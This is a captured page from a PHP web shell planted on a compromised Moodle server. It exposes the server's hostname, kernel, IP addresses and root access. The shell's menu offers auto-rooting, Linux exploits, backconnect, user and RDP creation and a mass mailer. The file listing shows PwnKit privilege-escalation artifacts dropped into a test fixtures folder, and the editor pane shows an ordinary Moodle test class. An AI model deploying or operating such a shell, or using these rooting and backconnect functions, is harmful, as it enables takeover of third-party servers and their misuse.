Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
contentbank /
tests /
fixtures /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
testable_content.php
1.87
KB
-rwxrwxrwx
testable_contenttype.php
2.87
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : testable_contenttype.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Testable contenttype plugin class. * * @package core_contentbank * @category test * @copyright 2020 Sara Arjona <sara@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace contenttype_testable; /** * Testable contenttype plugin class. * * @package core_contentbank * @copyright 2020 Sara Arjona <sara@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class contenttype extends \core_contentbank\contenttype { /** Feature for testing */ const CAN_TEST = 'test'; /** @var array Additional features for testing */ public static $featurestotest; /** * Returns the HTML code to render the icon for content bank contents. * * @param content $content The content to delete. * @return string HTML code to render the icon */ public function get_icon(\core_contentbank\content $content): string { global $OUTPUT; return $OUTPUT->image_url('f/archive-64', 'moodle')->out(false); } /** * Return an array of implemented features by this plugin. * * @return array */ protected function get_implemented_features(): array { $features = [self::CAN_TEST]; if (!empty(self::$featurestotest)) { $features = array_merge($features, self::$featurestotest); } return $features; } /** * Return an array of extensions this plugin could manage. * * @return array */ public function get_manageable_extensions(): array { return ['.txt', '.png', '.h5p']; } /** * Returns the list of different types of the given content type. * * @return array */ public function get_contenttype_types(): array { $type = new \stdClass(); $type->typename = 'testable'; return [$type]; } /** * Returns true, so the user has permission on the feature. * * @return bool True if content could be edited or created. False otherwise. */ final public function can_test2(): bool { if (!$this->is_feature_supported('test2')) { return false; } return true; } }
Close